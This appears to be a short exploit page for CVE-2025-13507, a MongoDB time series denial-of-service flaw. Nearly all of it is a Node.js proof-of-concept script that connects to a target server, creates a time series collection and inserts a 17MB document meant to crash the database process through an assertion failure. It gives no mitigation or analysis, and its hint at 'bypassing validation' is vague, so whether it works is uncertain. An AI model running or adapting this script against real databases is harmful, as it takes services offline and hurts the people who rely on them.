CVE-2025-13507: MongoDB时间序列处理对象大小验证不一致导致拒绝服务

// CVE-2025-13507 PoC - MongoDB Time Series Oversized BSON Document DoS // This PoC demonstrates how oversized BSON documents in time series collections // can trigger assertion failure and process termination. const { MongoClient } = require('mongodb'); async function exploitCVE202513507() { const mongoUrl = 'mongodb://target:27017'; const client = new MongoClient(mongoUrl); try { await client.connect(); const db = client.db('test'); // Create time series collection await db.createCollection('sensors', { timeseries: { timeField: 'timestamp', metaField: 'metadata', granularity: 'seconds' } }); // Create oversized BSON document (>16MB limit or crafted to bypass validation) // The vulnerability allows documents that should be rejected to proceed const oversizedData = 'A'.repeat(17 * 1024 * 1024); // 17MB of data const maliciousDoc = { timestamp: new Date(), metadata: { sensorId: 'sensor001' }, data: oversizedData }; // Insert oversized document - triggers assertion failure const collection = db.collection('sensors'); await collection.insertOne(maliciousDoc); console.log('PoC executed - oversized document inserted'); console.log('MongoDB process should terminate with assertion failure'); } catch (error) { if (error.message.includes('assertion')) { console.log('CVE-2025-13507 exploited: Assertion failure detected'); } console.error('Error:', error.message); } finally { await client.close(); } } exploitCVE202513507();